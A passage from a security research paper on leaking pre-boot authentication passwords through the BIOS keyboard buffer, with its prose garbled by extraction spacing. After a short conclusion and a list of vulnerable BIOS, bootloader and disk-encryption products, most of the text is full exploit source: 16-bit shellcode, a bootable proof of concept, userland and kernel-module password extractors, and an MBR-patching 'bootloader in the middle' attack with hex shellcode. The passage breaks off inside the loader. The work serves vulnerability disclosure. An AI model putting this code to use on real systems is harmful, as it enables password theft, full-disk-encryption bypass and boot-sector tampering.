k fully em ulates a user t yping on a k eyb oard, ev en if full disk encryption is enabled, b y lling the BIOS k eyb oard buer, thanks to a rogue b o otloader, b efore the b o otloader attempts to retriev e user input. F rom a b o otloader's p ersp ectiv e, there is no w a y to tell if the Fig. 22. Suggested b o otloader routine to sanitize the BIOS Data Area. data is coming from a rogue b o otloader or from a gen uine k eyb oard. By com bining the t w o attac ks, w e ha v e demonstrated a practical full securit y-b ypass attac k scenario against pre-b o ot authen tication soft w are. Finally , w e ha v e suggested partial xes, at b o otloader and k ernel lev- els. Those patc hes are quite imp erfect since they fail at ensuring the atomicit y of the v arious buer manipulations : initializing and reading or reading and cleaning the BIOS k eyb oard buer. Therefore, ev en if the early b o otstraping pro cess is supp osed to b e monopro cess, a b o otloader in the middle attac k can still b e attempted if an attac k er is ready to insert his co de during the normal execution of the actual b o otloader (af- ter buer has b een initialized, but b efore k eystrok es ha v e b een read), or righ t after it (once the buer is lled, but b efore it is later cleaned). W e b eliev e this issue cannot b e addressed b y soft w are only means and w ould require additional in tegrit y c hec ks implemen ted at BIOS lev el to ensure the Master Bo ot Record has not b een tamp ered with. A dditionally , w e ha v e limited the scop e of this pap er to passw ord based authen tication and exploitation without ph ysical access solely . Biomet- rics, usb-tok ens or an y other iden tication means ma y also exhibit iden- tical lac k of care with temp orary buers when retrieving input from the user. The metho dology adopted to retriev e information from the ph ys- ical memory could also b e used to attac k soft w are other than pre-b o ot authen tication ones. If the attac k er also ac hiev ed to get ph ysical access to the computer, then the BIOS k eyb oard buer's con ten t can still b e retriev ed b y other attac k v ectors lik e DRAM remanence[3℄ or Firewire buses[5℄. Annexe A : Non exhaustiv e list of soft w are vulnerable to plain text passw ord leak age V ulnerable soft w are : BIOS passw ords : A w ard BIOS Mo dular 4.50pg[33℄ Insyde BIOS V190[34℄ In tel Corp PE94510M.86A.0050.2007.0710.1559 (07/10/2007) Hewlett-P ac k ard 68DTT V er. F.0D (11/22/2005) Leno v o 7CETB5WW v2.05 (10/13/2006) F ull disk encryption with pre-b o ot authen tication capabilities : Bitlo c k er with TPM and passw ord based authen tication enabled un- der Microsoft Vista Ultimate Edition T ruecrypt 5.0 for Windo ws DiskCryptor 0.2.6 for Windo ws (latest) Secu Star Driv eCrypt Plus P ac k v3.9 (latest) Bo ot loader passw ords : grub (GNU GR UB 0.97) (latest CVS) lilo v ersion 22.6.1 (curren t under Mandriv a 2006) Other Soft w are : Soft w are susp end 2 (no w tuxonice), Lin ux Kernel P atc h (w e tested v ersion susp end2-2.2.1 with 2.6.16 k ernel) Non vulnerable soft w are : BIOS P assw ords : Hewlett-P ac k ard F.20 (04/15/2005) Hewlett-P ac k ard F.05 (08/14/2006) Pheonix BIOS V ersion F.0B, 7/3/2006 Pho enix T ec hnologies L TD R0220Q0 (25-05-2007) F ull disk encryption with pre-b o ot authen tication capabilities : SafeGuard 4.40 for Windo ws PGP Desktop Professional 9.8 for Windo ws (T rial V ersion) Annexe B : Shellco de.S ;--------------------- [ Shellcode.S ℄ -------------------------; ; ; ; Jonathan Brossard // jonathan@ivizindia.com ; ; endrazine@gmail.com ; ; ; ; 16b shellcode, BIOS API only used : aimed at being Xplatform ; ; if run under virtual or real mode... ; ; ; ; Compiling : nasm -fbin ./Shellcode.S -o Shellcode.COM ; ;---------------------------------------------------------------; ;\x30\xe4\xb0\x40\x8e\xd8\xb0\x1c\x89\xc6\x30\xed\xb1\x10\x3e\x8b ;\x04\x30\xe4\x3c\x20\x72\x04\x3c\x7e\x72\x02\xb0\x20\x83\xc6\x02 ;\x56\x51\x50\xb4\x03\x30\xff\xcd\x10\xb4\x02\xfe\xc2\xcd\x10\x58 ;\xb4\x0a\xb3\x06\xb1\x01\xcd\x10\x59\x5e\xe2\xd2\x30\xe4\xb0\x4c ;\xcd\x21 org 100h section .text _start: xor ah, ah mov al, 0x40 ; 0x40:0x1e : keyboard buffer address mov ds, ax mov al, 0x1c mov si, ax xor ch,ch mov cl, 0x10 leakloop: mov ax, [ds:si℄ xor ah,ah cmp al, 0x20 jb keepcopying cmp al, 0x7e jb keepcopying2 keepcopying: mov al, 0x20 keepcopying2: add si, byte +0x2 ; Replace this line by add si,4 ; if you plan to use it under MS-Dos ; due to imperfect emulation of 16b ; arch under windows. push si push cx push ax mov ah, 0x03 xor bh, bh int 0x10 mov ah, 0x02 inc dl int 0x10 pop ax mov ah, 0ah mov bl, 06h mov cl, 0x01 int 0x10 pop cx pop si loop leakloop ;----- Terminate as well as we can... xor ah,ah int 0x16 int 0x19 ;EOF Annexe C : Sploit-OS.S ; ---------------------------[ Sploit-OS.S ℄----------------------------- ; ; Simple bootstrap to test our BIOS shellcode and verify that ; passwords can be leaked in plain text under REAL MODE. ; ; // Jonathan Brossard ; jonathan@ivizindia.com ; endrazine@gmail.com ; ; ------------------------------------------------------------------------ ; [ Compiling and using Sploit OS ℄ ; ; The purpose of this code is to create a bootable usb disk image ; Poc that will retrieve pre-boot authentication passwords from ; BIOS memory in Real mode when booted. ; ; ; Here, I assume your usb disk is located on /dev/sdb ; Use `fdisk -l` to get your usb device name and modify ; those commands to match your own device name. ; ; ; Compiling : ; ; root@blackbox:/home/jonathan/sploit-os# nasm -fbin \ ; sploitos.asm -o sploitos.img ; ; Verifying the bootable image is ok: ; ; root@blackbox:/home/jonathan/sploit-os# file sploitos.img ; x86 boot sector, code offset 0x3c, OEM-ID "SploitOS", sectors/ ; cluster 4, root entries 512, sectors 32768 (volumes <=32 MB) , ; Media descriptor 0xf8, sectors/FAT 32, heads 64, ; serial number 0xdeb00001, label: "[endrazine℄", FAT (16 bit) ; root@blackbox:/home/jonathan/sploit-os# ; ; Installing: ; ; root@blackbox:/home/jonathan/sploit-os# cat sploitos.img >/dev/sdb ; root@blackbox:/home/jonathan/sploit-os# ; ; Rebooting: ; ; root@blackbox:/home/jonathan/sploit-os# reboot ; ; ------------------------------------------------------------------------ org 0x7c00 ;to be loaded at RAM address 0000:7C00 section .text _start: jmp short realstart ; jump over the boot record's data ; ------------------------------------------------------------------------ ; Create a boot record with appropriate geometry etc. for a usb boot disk ; ------------------------------------------------------------------------ brINT13Flag DB 90H ; 0002h - 0EH for INT13 AH=42 READ brOEM DB 'SploitOS' ; 0003h - OEM name & DOS version brBPS DW 512 ; 000Bh - Bytes/sector brSPC DB 4 ; 000Dh - Sectors/cluster brResCount DW 1 ; 000Eh - Reserved (boot) sectors brFATs DB 2 ; 0010h - FAT copies brRootEntries DW 200H ; 0011h - Root directory entries brSectorCount DW 32768 ; 0013h - Sectors in volume, < 32MB brMedia DB 0xf8 ; 0015h - Media descriptor brSPF DW 32 ; 0016h - Sectors per FAT brSPH DW 32 ; 0018h - Sectors per track brHPC DW 64 ; 001Ah - Number of Heads brHidden DD 0 ; 001Ch - Hidden sectors brSectors DD 0 ; 0020h - Total number of sectors DB 0 ; 0024h - Physical drive no. DB 0 ; 0025h - Reserved (FAT32) DB 29H ; 0026h - Extended boot record sig brSerialNum DD 0xdeb00001 ; 0027h - Volume serial number brLabel DB '[endrazine℄' ; 002Bh - Volume label (11 chars) brFSID DB 'FAT16 ' ; 0036h - File System ID (8 chars) ;-------------------------------------------------------------------------- realstart: mov ax, 0x1301 ; BIOS write string function mov bx, 0x07 ; write in current page mov cx, 122 xor dx, dx ; start in upper left corner mov ebp, Creditstring int 0x10 mov bx, 4 mov dx, 5 xor dx,dx mov dh, 7 smsw ax ; Verify we are in real (or v86 ?) mode... test al,1 ; by checking PE bit of CR0 je near real ; we are in v86 mode... mov ax, 0x1301 mov cx, 56 mov ebp, v86string int 0x10 jmp near reboot real: ; we are in real mode... mov ax, 0x1301 mov cx, 76 mov ebp, realstring int 0x10 ;--------------------------[ Start of BIOS shellcode ℄--------------------- xor ah, ah mov al, 0x40 ; 0x40:0x1e : keyboard buffer address mov ds, ax mov al, 0x1e mov si, ax mov cx, 0x10 leakloop: mov ax, [ds:si℄ xor ah, ah cmp al, 0x20 jb keepcopying cmp al, 0x7e jb keepcopying2 keepcopying: mov al, 0x20 keepcopying2: add si, byte +0x2 ; Replace this line by add si,4 ; if you plan to use it under MS-Dos ; due to imperfect emulation of 16b ; arch under vm86. push si push cx push ax mov ah, 0x03 xor bh, bh int 0x10 mov ah, 0x02 inc dl int 0x10 pop ax mov ah, 0ah mov bl, 06h mov cl, 0x01 int 0x10 pop cx pop si loop leakloop ;--------------------------[ End of BIOS shellcode ℄---------------------- reboot: mov ax, 0x1301 mov bx, 4 mov cx, 27 xor dx, dx mov dh, 11 mov ebp, Byestring int 0x10 xor ax, ax ; wait for a key to be pressed int 0x16 jmp 0xffff:0x0 ; reboot v86string db '--[ According to cr0, you are in v86 mode :( Quitting...',13,10 realstring db '--[ According to cr0, you are in real mode, ok',10,13 db '',13,10 db '--[ Password (if any) is : ',10,13 db '',13,10 Creditstring db ' [ Sploit OS : Real mode BIOS hysteresis Poc ℄',13,10 db '',10,13 db ' // Jonathan Brossard - jonathan@ivizindia.com',10,13 db ' // endrazine@gmail.com',13,10 db '',13,10 Byestring db '--[ Press any key to reboot',10,13 times 512-($-$$)-2 db 0 ; Write boot signature at dw 0x0AA55 ; address (512 - 2) bytes ;EOF Annexe D : generic.unix.sploit.c /* * * BIOS keyboard buffer hysteresis generic userland exploit for *nix. * * // Jonathan Brossard - jonathan@ivizindia.com - endrazine@gmail.com * * Tested successfuly under various Linux, *BSD and Solaris platforms. * * * This code is able to retrieve passwords from both /dev devices (a la /dev/mem, * a raw mapping of the physical memory), and files from pseudo file system /proc * (a la kcore, which contains kernel memory under the structure of a core file). * * Limited support is also provided to handle /dev/kmem under Linux. * */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/uio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <errno.h> #include <getopt.h> #include <malloc.h> #include <sys/mman.h> /* * Define default targets files and offsets */ #define DEFAULT_DEVICE "/dev/mem" #define BIOS_BUFFER_ADDRESS_M 0x041e #define DEFAULT_PROC "/proc/kcore" #define BIOS_BUFFER_ADDRESS_K 0x141e #define DEFAULT_KERNEL_MAP "/dev/kmem" #define KERNEL_BUFFER_ADDRESS 0xC000041E #define BUFF_LENGTH 255 /* max length for pathnames */ /* * Display some help */ int usage(int argc, char **argv) { fprintf(stderr, "usage: %s [-h℄ [--memory-device=<device>℄ [--pseudo-file=<pseudo file>℄\n" "\n" "--help (or -h) display this help\n" "--memory-device (or -m) memory device (default: %s)\n" "--pseudo-file (or -p) /proc pseudo file (default: %s)\n" "--kernel-device (or -k) *LINUX* *ONLY* kernel memory device (default: %s)\n" "\n", argv[0℄, DEFAULT_DEVICE, DEFAULT_PROC, DEFAULT_KERNEL_MAP); exit(-2); } /* * Give some credits */ int credits(void) { printf("\n [ BIOS keyboard buffer hysteresis generic userland exploit for *nix. ℄\n" " // Jonathan Brossard - jonathan@ivizindia.com - endrazine@gmail.com\n\n" " Tested under several flavours of GNU/Linux, *BSD and Solaris.\n\n"); return 0; } int main(int argc, char **argv) { int fd, i=0,j, f; char tab[32℄; char tab2[16℄; int c; int digit_optind = 0; int TARGET_OFFSET; char TARGET_FILE[BUFF_LENGTH℄; int device_flag = 0; /* are we processing a device ? */ int proc_flag = 0; /* are we processing a file from /proc pseudo filesystem ? */ int kernel_flag = 0; /* are we processing /dev/kmem ? */ int password_flag = 0; /* is there a password stored in BIOS memory ? */ credits(); if (argc < 2) usage(argc, argv); /* * Command line options parsing */ while (1) { int this_option_optind = optind ? optind : 1; int option_index = 0; static struct option long_options[℄ = { {"help", 0, 0, 'h'}, {"memory-device", 2, 0, 'm'}, {"pseudo-file", 2, 0, 'p'}, {"kernel-device", 2, 0, 'k'}, {0, 0, 0, 0} }; c = getopt_long(argc, argv, "hp::m::k::", long_options, &option_index); if (c == -1) break; switch (c) { case 'h': usage(argc, argv); break; case 'm': device_flag = 1; if(optarg != 0) { strncpy(TARGET_FILE, optarg, BUFF_LENGTH); } else { strncpy(TARGET_FILE, DEFAULT_DEVICE, BUFF_LENGTH); } TARGET_OFFSET = BIOS_BUFFER_ADDRESS_M; break; case 'p': proc_flag = 1; if(optarg != 0) { strncpy(TARGET_FILE, optarg, BUFF_LENGTH); } else { strncpy(TARGET_FILE, DEFAULT_PROC, BUFF_LENGTH); } TARGET_OFFSET = BIOS_BUFFER_ADDRESS_K; break; case 'k': kernel_flag = 1; if(optarg != 0) { strncpy(TARGET_FILE, optarg, BUFF_LENGTH); } else { strncpy(TARGET_FILE, DEFAULT_KERNEL_MAP, BUFF_LENGTH); } TARGET_OFFSET = KERNEL_BUFFER_ADDRESS; break; default: fprintf(stderr, "[!!℄ unknown option : '%c'\n", c); exit(-2); } } /* * Read potential password from file */ if( (device_flag && proc_flag) || (device_flag && kernel_flag) \ || (kernel_flag && proc_flag) \ || (!device_flag && !proc_flag && \ !kernel_flag) ) usage(argc, argv); fd = open(TARGET_FILE, O_RDONLY); if (fd == -1) { perror("Fatal error in open "); exit(-1); } int PageSize = (int)sysconf(_SC_PAGESIZE); if ( PageSize < 0) { perror("Fatal error in sysconf "); } char* map = mmap(0, PageSize, PROT_READ , MAP_SHARED, fd, TARGET_OFFSET & ~0xFFF); if(map == MAP_FAILED) { perror("Fatal error in mmap"); exit(-1); } memcpy(tab, map + TARGET_OFFSET - (TARGET_OFFSET & ~0xFFF),32); for (j = 0; j < 16; j++) { tab2[i℄ = tab[2 * j℄; i++; if (tab2[i℄ <= 0x7e && tab2[i℄ >= 0x30 ) password_flag = 1; } if (password_flag) { printf("--[ Password (to the latest pre boot authentication software) : "); } else { printf("--[ No password found\n\n"); exit(0); } for (i = 0; i < 16; i++) { /* * We might have several passwords concatenated in case of * multiple preboot authentication software */ if ( i<15 && tab2[i℄ == 0x0d && tab2[i+1℄ != 0x0d && tab2[i+1℄ <= 0x7e && \ tab2[i+1℄ >= 0x30 ) { printf("\n--[ Password (to a previous authentication software) :"); } else { printf("%c", tab2[i℄); } } printf("\n\n"); /* * Clean up... */ if (munmap(map, PageSize) < 0) { perror("Non fatal error in munmap "); } close(fd); return 0; } Annexe E : ksploit.c /* * * Trivial LKM exploit to display the content of Bios Keyboard buffer in * /proc/prebootpassword . * * // Jonathan Brossard - jonathan@ivizindia.com - endrazine@gmail.com * */ #include <linux/init.h> #include <linux/module.h> #include <linux/string.h> #include <linux/kernel.h> #include <linux/proc_fs.h> #include <linux/string.h> MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("Pre Boot Authentication Password LKM Exploit"); MODULE_AUTHOR("Jonathan Brossard // endrazine"); #define BiosKeyboardBuffer 0x041E /* * Write password to /proc entry routine */ static int sploit_read_pass( char *page, char **start, off_t off, int count, \ int *eof, void *data ) { char tab[32℄; char tab2[16℄; int i=0, j, password_flag = 0; int len=0; if (off > 0) { *eof = 1; return 0; } /* buffer starts at kernel base address + BiosKeyboardBuffer */ sprintf(tab, "%s", BiosKeyboardBuffer + PAGE_OFFSET ); for (j = 0; j < 16; j++) { tab2[i℄ = tab[2 * j℄; i++; if (tab2[i℄ <= 0x7e && tab2[i℄ >= 0x30 ) password_flag = 1; } if (!password_flag) { len=sprintf(page, "No password found\n"); return len; } else { len=sprintf(page, "Password to the latest pre boot authentication software) : "); for (i = 0; i < 16; i++) { /* * We might have several passwords concatenated in case of multiple preboot authentication * softs */ if ( i<15 && tab2[i℄ == 0x0d && tab2[i+1℄ != 0x0d && tab2[i+1℄ <= 0x7e && \ tab2[i+1℄ >= 0x30 ) { len += sprintf(page, "%s\n--[ Password (to a previous authentication software) :", page); } else if (tab2[i℄ <= 0x7e && tab2[i℄ >= 0x30) { sprintf(page, "%s%c", page, tab2[i℄); len++; } else { break; } } sprintf(page, "%s\n",page); len++; } return len; } /* * Loading routine : creates an entry in /proc and defines the previous function * as its reading entry. */ static int sploit_init(void) { static struct proc_dir_entry *proc_entry; printk("\n--[ Bios keyboard buffer hysteresis LKM exploit\n" " // Jonathan Brossard - jonathan@ivizindia.com - endrazine@gmail.com\n"); proc_entry = create_proc_entry( "prebootpassword", 0444, NULL ); if (proc_entry == NULL) { printk(KERN_ALERT "Couldn't create /proc entry\n"); return 1; } else { proc_entry->read_proc = sploit_read_pass; proc_entry->owner = THIS_MODULE; } return 0; } /* * Unloading routine */ static int sploit_exit(void) { remove_proc_entry("prebootpassword", &proc_root); printk("--[ Unloading module\n"); return 0; } module_init(sploit_init); module_exit(sploit_exit); Annexe F : In visibleMan.S ; ; [ Attack of the Invisible Man ℄ ; (bootloader in the middle) ; ; Generic rebooting attack against pre-boot authentication MBRs ; that do not initialize BIOS keyboard memory. ; ; Jonathan Brossard -- jonathan@ivizindia.com // endrazine@gmail.com ; ; ; ; ROADMAP : ; ; Use delta offset[0℄ trick to find self location in memory. ; Fill the BIOS keyboard buffer using PIC 8042[1℄. ; Allocate a 5KB buffer in RAM reserved to the BIOS. ; Find first bootable disk. ; Read old MBR backup in reserved RAM. ; Patch disk with old MBR. ; Load MBR in RAM at address 0x0000:0x7c00 ; Unallocate BIOS memory if possible ; Jump to 0x0000:0x7c00 ; ; NOTES : ; Since some BIOS/virtual machines do not follow the standards ; and do check/modify memory when calling int 0x19, we will ; emulate it by loading the MBR in RAM and jumping to it. ; ; Since we patch an actual MBR instead of crafting one from scratch, ; size does matter. The initial jump of the MBR is a jmp short, so ; it might be up to 128b long; we also need to keep the latest two ; bytes that mark the disk as bootable, hence , we roughly have : ; 512 - 128 - 2 = 382 bytes available if we want to stick to one sector. ; ; TODO : remove MBR backup ; ; [0℄ Cf: 80's/90's virii writing tutorials a la 40hex, ; virii source code like Stone or the Italian Virus, ; Dark Avenger virii's source code. ; http://www.etext.org/zines/ASCII/40hex/ ; ; [1℄ Art of Assembly Language: Chapter Twenty, Randall Hyde ; http://webster.cs.ucr.edu/AoA/DOS/ch20/CH20-1.html ; ; ; Tested against: ; * Grub 0.97 with MD5 hashes, under Gentoo 2006 ; * Grub 0.97 with MD5 hashes, under fedora release 7 (Moonshine) ; (vulnerable in both text and graphical modes) ; ; TIP : ; just add a few 'escape' characters before the password if you ; attack a bootloader with graphical display like grub. ; ; ; org 0x100 section .text _start: nop nop realstart: jmp short DeltaCall ; good old delta offset trick getdelta: pop bx jmp short afterroutinesjump DeltaCall: ; dummy call to get delta offset call getdelta ; ; Save usefull data here ; returnaddress: db 0x00, 0x00 password db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, db 0x00 ;------------------ [ keyboard filling subroutines ℄ ------------------ ; Credit for those routines : ; Art of Assembly Language: Chapter Twenty, Randall Hyde ; http://webster.cs.ucr.edu/AoA/DOS/ch20/CH20-1.html ; write_to_bios_buffer: mov dl, al xor cx, cx wait_controller: ; Wait untill microcontroller's in al, 0x64 ; control buffer is empty test al, 1 loopnz wait_controller ; disable the keyboard cli ; disable interrupts in al, 0x21 ; get current mask push ax or al, 2 ; mask keyboard interrupt out 0x21, al call wait_controller2 mov al, 0x60 ; "send keyboard" command out 0x64, al ; send the scancode as a new command : call wait_controller2 mov al, dl out 0x60, al call wait_controller2 mov al, 0x20 ; "send keyboard" command out 0x64, al xor cx, cx wait_if_full: ; wait until the controller in al, 0x64 ; is accepting data test al, 1 loopz wait_if_full call wait_controller2 mov al, 0x60 out 0x64, al call wait_controller2 mov al, 0x45 out 0x60, al fake_int0x09: in al, 0x60 int 0x09 ; simulate hardware interrupt ; re enable the keyboard, clean and return call wait_controller2 mov al, 0x0ae out 0x64, al ; re enable the keyboard pop ax out 0x21, al ; restore interrupt mask ret wait_controller2: ; wait until we can send a command push cx ; to the microcontroller push ax xor cx, cx testcmdport: in al, 0x64 test al, 2 ; check 'buffer is full' flag loopnz testcmdport pop ax pop cx ret ;------------------ [ Main code starts here ℄ ------------------ afterroutinesjump: ; ; Fill up the BIOS keyboard buffer thanks to PIC programming ; push bx add bx,2;3 mov si,bx ; si points to password mov cx,32 ; max BIOS keyboard buffer size put_password: ; put password in keyboard push cs ; (without final \x00) pop ds push cx mov al, [ds:si℄ cmp al, 0x00 je stop_copying call write_to_bios_buffer inc si pop cx loop put_password push cx ; dummy push stop_copying: pop cx ; dummy pop ; ; Reserve a 10 KB memory buffer in the BIOS reserved memory. ; cf: old virii like Stoned, the Italian Virus etc. ; xor ax,ax mov ds,ax mov ax, [ds:0x413℄ ; get amound of available memory sub ax, 10 ; register 10 KB of memory mov [ds:0x413℄,ax ; update BIOS counter pop es push ax ; save counter for desallocation push es mov cl,06 shl ax,cl mov es,ax ; our buffer starts at es:0x00 ; find the bootable hard drive : ; read 1 sectors and check if disk is marked ; as bootable on every disk successively push es xor dx,dx ; dl = drive number readnext: inc dl mov ah, 0x02 ; read from disk in memory mov al, 0x01 ; 1 sector mov bx, 0x00;buffer mov ch, 0 mov cl, 1 mov dh, 0 int 13h cmp ah, 0x00 ; check return value jne readnext cmp dl, 0x10 ; test 10 drives at max je notfound cmp byte [es:bx+510℄, 0x55 ; jne readnext ; Verify the disk is bootable cmp byte [es:bx+511℄, 0xAA ; jne readnext ; ; ; The bootable disk number is in dl, read 20 sectors, ; find our backup and patch the MBR (1 sector). ; pop es push es mov ah, 0x02 ; function: read mov al, 0x14 ; 20 sectors mov bx, 0x00; buffer mov ch, 0 mov cl, 1 mov dh, 0 int 13h cmp ah, 0x00 ; check return value jne readnext push cs pop ds pop es pop si xor bx,bx mov bx, [ds:si℄ ; return address ; Copy backuped MBR back to sector 1 mov ah, 0x03 ; function: write mov al, 1 ; 1 sector mov ch, 0 mov cl,1 ;1 mov dh, 0 int 13h ; ; Remove backed up MBR ; mov ah, 0x03 ; function: write mov al, 1 ; 1 sector int 13h notfound: push cs pop ds ; ; Jump to our code, in reserved BIOS RAM ; ; We want to do a jmp es:ax, but we'll have ; to code it ourselves... push cs pop ds call bigjump bigjump: pop ax add ax,20 push ax pop si sub ax,0x7c00 add ax,4 mov [ds:si℄,ax mov [ds:si+2℄,es jmp 0xffff:0x0000 ; patched at runtime nop ; optional nop sled nop nop nop nop nop nop nop ; ; Copy bootloader in RAM at position 0x0000:0x7C00 ; ; dl still contains drive number mov bx, 0x7c00 xor ax,ax push ax pop es mov ah, 0x02 ; read from disk in memory mov al, 0x01 ; 1 sector mov ch, 0 mov cl, 1 mov dh, 0 int 13h ; ; Desallocate memory if no other process has requested ; additional BIOS memory in the meantime pop ax ; retrieve counter from stack mov bx, [ds:0x413℄ ; get current BIOS mem counter cmp ax, bx jne skip_desalloc ; someone else has allocated mem add ax, 10 ; unallocate 10 KB of memory mov [ds:0x413℄,ax ; update BIOS counter ; ; Do not mention the race condition here ;) ; From here, we are executing code that might ; get overwriten anytime. Hopefully, protected ; mode is monoprocess. ; skip_desalloc: ; ; Jump to original bootloader ; jmp 0x0000:0x7c00 ;EOF Annexe G : In visibleManLoader.c /* * * Jonathan Brossard - jonathan@ivizindia.com // endrazine@gmail.com * * "Invisible Man" attack against pre-boot authentication bootloaders * * * This is plain old MBR patching, like implemented * by many MBR virii since the 80's. * * Keyboard filling routines shamelessly ripped from "The art of assembly". * */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/uio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <errno.h> #include <getopt.h> #include <malloc.h> #include <sys/mman.h> #define DISK_OFFSET 10000 #define BUFF_SIZE 512 #define BUFF_LENGTH 255 char evilloader[℄="\x90\x90\xeb\x03\x5b\xeb\x7f\xe8\xfa\xff\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x88\xc2\x31\xc9\xe4\x64\xa8\x01\xe0\xfa \xfa\xe4\x21\x50\x0c\x02\xe6\x21\xe8\x37\x00\xb0\x60\xe6\x64\xe8\x30\x00\x88\xd0 \xe6\x60\xe8\x29\x00\xb0\x20\xe6\x64\x31\xc9\xe4\x64\xa8\x01\xe1\xfa\xe8\x1a\x00 \xb0\x60\xe6\x64\xe8\x13\x00\xb0\x45\xe6\x60\xe4\x60\xcd\x09\xe8\x08\x00\xb0\xae \xe6\x64\x58\xe6\x21\xc3\x51\x50\x31\xc9\xe4\x64\xa8\x02\xe0\xfa\x58\x59\xc3\x53 \x81\xc3\x02\x00\x89\xde\xb9\x20\x00\x0e\x1f\x51\x3e\x8a\x04\x3c\x00\x74\x08\xe8 \x90\xff\x46\x59\xe2\xef\x51\x59\x31\xc0\x8e\xd8\x3e\xa1\x13\x04\x2d\x0a\x00\x3e \xa3\x13\x04\x07\x50\x06\xb1\x06\xd3\xe0\x8e\xc0\x06\x31\xd2\xfe\xc2\xb4\x02\xb0 \x01\xbb\x00\x00\xb5\x00\xb1\x01\xb6\x00\xcd\x13\x80\xfc\x00\x75\xea\x80\xfa\x10 \x74\x41\x26\x80\xbf\xfe\x01\x55\x75\xdd\x26\x80\xbf\xff\x01\xaa\x75\xd5\x07\x06 \xb4\x02\xb0\x14\xbb\x00\x00\xb5\x00\xb1\x01\xb6\x00\xcd\x13\x80\xfc\x00\x75\xbf \x0e\x1f\x07\x5e\x31\xdb\x3e\x8b\x1c\xb4\x03\xb0\x01\xb5\x00\xb1\x01\xb6\x00\xcd \x13\xb4\x03\xb0\x01\xcd\x13\x0e\x1f\x0e\x1f\xe8\x00\x00\x58\x05\x14\x00\x50\x5e \x2d\x00\x7c\x05\x04\x00\x3e\x89\x04\x3e\x8c\x44\x02\xea\x00\x00\xff\xff\x90\x90 \x90\x90\x90\x90\x90\x90\xbb\x00\x7c\x31\xc0\x50\x07\xb4\x02\xb0\x01\xb5\x00\xb1 \x01\xb6\x00\xcd\x13\x58\x3e\x8b\x1e\x13\x04\x39\xd8\x75\x07\x05\x0a\x00\x3e\xa3 \x13\x04\xea\x00\x7c\x00\x00"; /* Translation tables for keys to/from scancodes */ char scancodes1[℄= {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z','a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '_', '-', '=', '+', '[', '{', '℄', '}', ';', ':','\'', '"', '`', '~', '|', '\\', '<', ',', '>', '.', '?', '/', '*', '-', 0x19 /* down key */, 0x18 /* up key */, 0x1a /* right key*/, 0x1b /* left key */, 0x0d /* Enter */, 0x1b /* Esc */, 0x20 /* space */ }; char scancodes2[℄= {0x0B, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x1E, 0x30, 0x2E, 0x20, 0x12, 0x21, 0x22, 0x23, 0x17, 0x24, 0x25, 0x26, 0x32, 0x31, 0x18, 0x19, 0x10, 0x13, 0x1F, 0x14, 0x16, 0x2F, 0x11, 0x2D, 0x15, 0x2C, 0x1E, 0x30, 0x2E, 0x20, 0x12, 0x21, 0x22, 0x23, 0x17, 0x24, 0x25, 0x26, 0x32, 0x31, 0x18, 0x19, 0x10, 0x13, 0x1F, 0x14, 0x16, 0x2F, 0x11, 0x2D, 0x15, 0x2C, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0C, 0x0D, 0x0D, 0x1A, 0x1A, 0x1B, 0x1B, 0x27, 0x27, 0x28, 0x28, 0x29, 0x29, 0x2B, 0x2B, 0x33, 0x33, 0x34, 0x34, 0x35, 0x35, 0x37, 0x4A, 0x50, 0x48, 0x4D, 0x4B, 0x1C, 0x01, 0x39 } ; char password[16℄={0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; char password2[32℄; /* * Remove one character from the translated password buffer */ int remove_char(int j) { int i; for (i=j;i<sizeof(password2);i++) { if ( i == sizeof(password2) ) { password2[i℄ = 0x00; } else{ password2[i℄=password2[i+1℄; } } return 0; } /* * Convert password to 'keystroke+scancode' format */ int convert_password(void) { int i,j; for (i=0;1<16;i++) { /* convert 'enter' keystroke */ if ( password[i℄ == 0x0a ) { password[i℄= 0x0d; } if ( password[i℄ == 0x00 ) { password2[2*i℄ = 0x00; break; } else { password2[2*i℄ = password[i℄; for (j=0;j<sizeof(scancodes1);j++) { if ( scancodes1[j℄ == password[i℄ ) { password2[2*i+1℄ = scancodes2[j℄; break; } if ( j == (sizeof(scancodes1) - 1) ) { /* error on given password */ return 1; } } } } /* remove every occurence of 0x0d : the enter key is only coded on one byte */ for (j=0;j<sizeof(password2);) { if ( password2[j℄ == 0x0d ) { remove_char(j); } else { j++; } } return 0; } /* * Copy translated password to shellcode */ int load_password(void) { int i; printf(" [*℄ Translated Password: [ "); for (i=0;i<32;i++) { if( password2[i℄ == 0x00) break; printf("%02x ",password2[i℄); evilloader[12+i℄ = password2[i℄; } printf("℄\n"); return 0; } /* * Display some help */ int usage(int argc, char **argv) { fprintf(stderr, "usage: %s [-h℄ [--disk=<device>℄ [--password=<file>℄\n" "\n" "--help (or -h) display this help\n" "--disk (or -d) device containing the MBR\n" "--password (or -p) file containing the desired input\n" "\n THIS WILL MODIFY YOUR 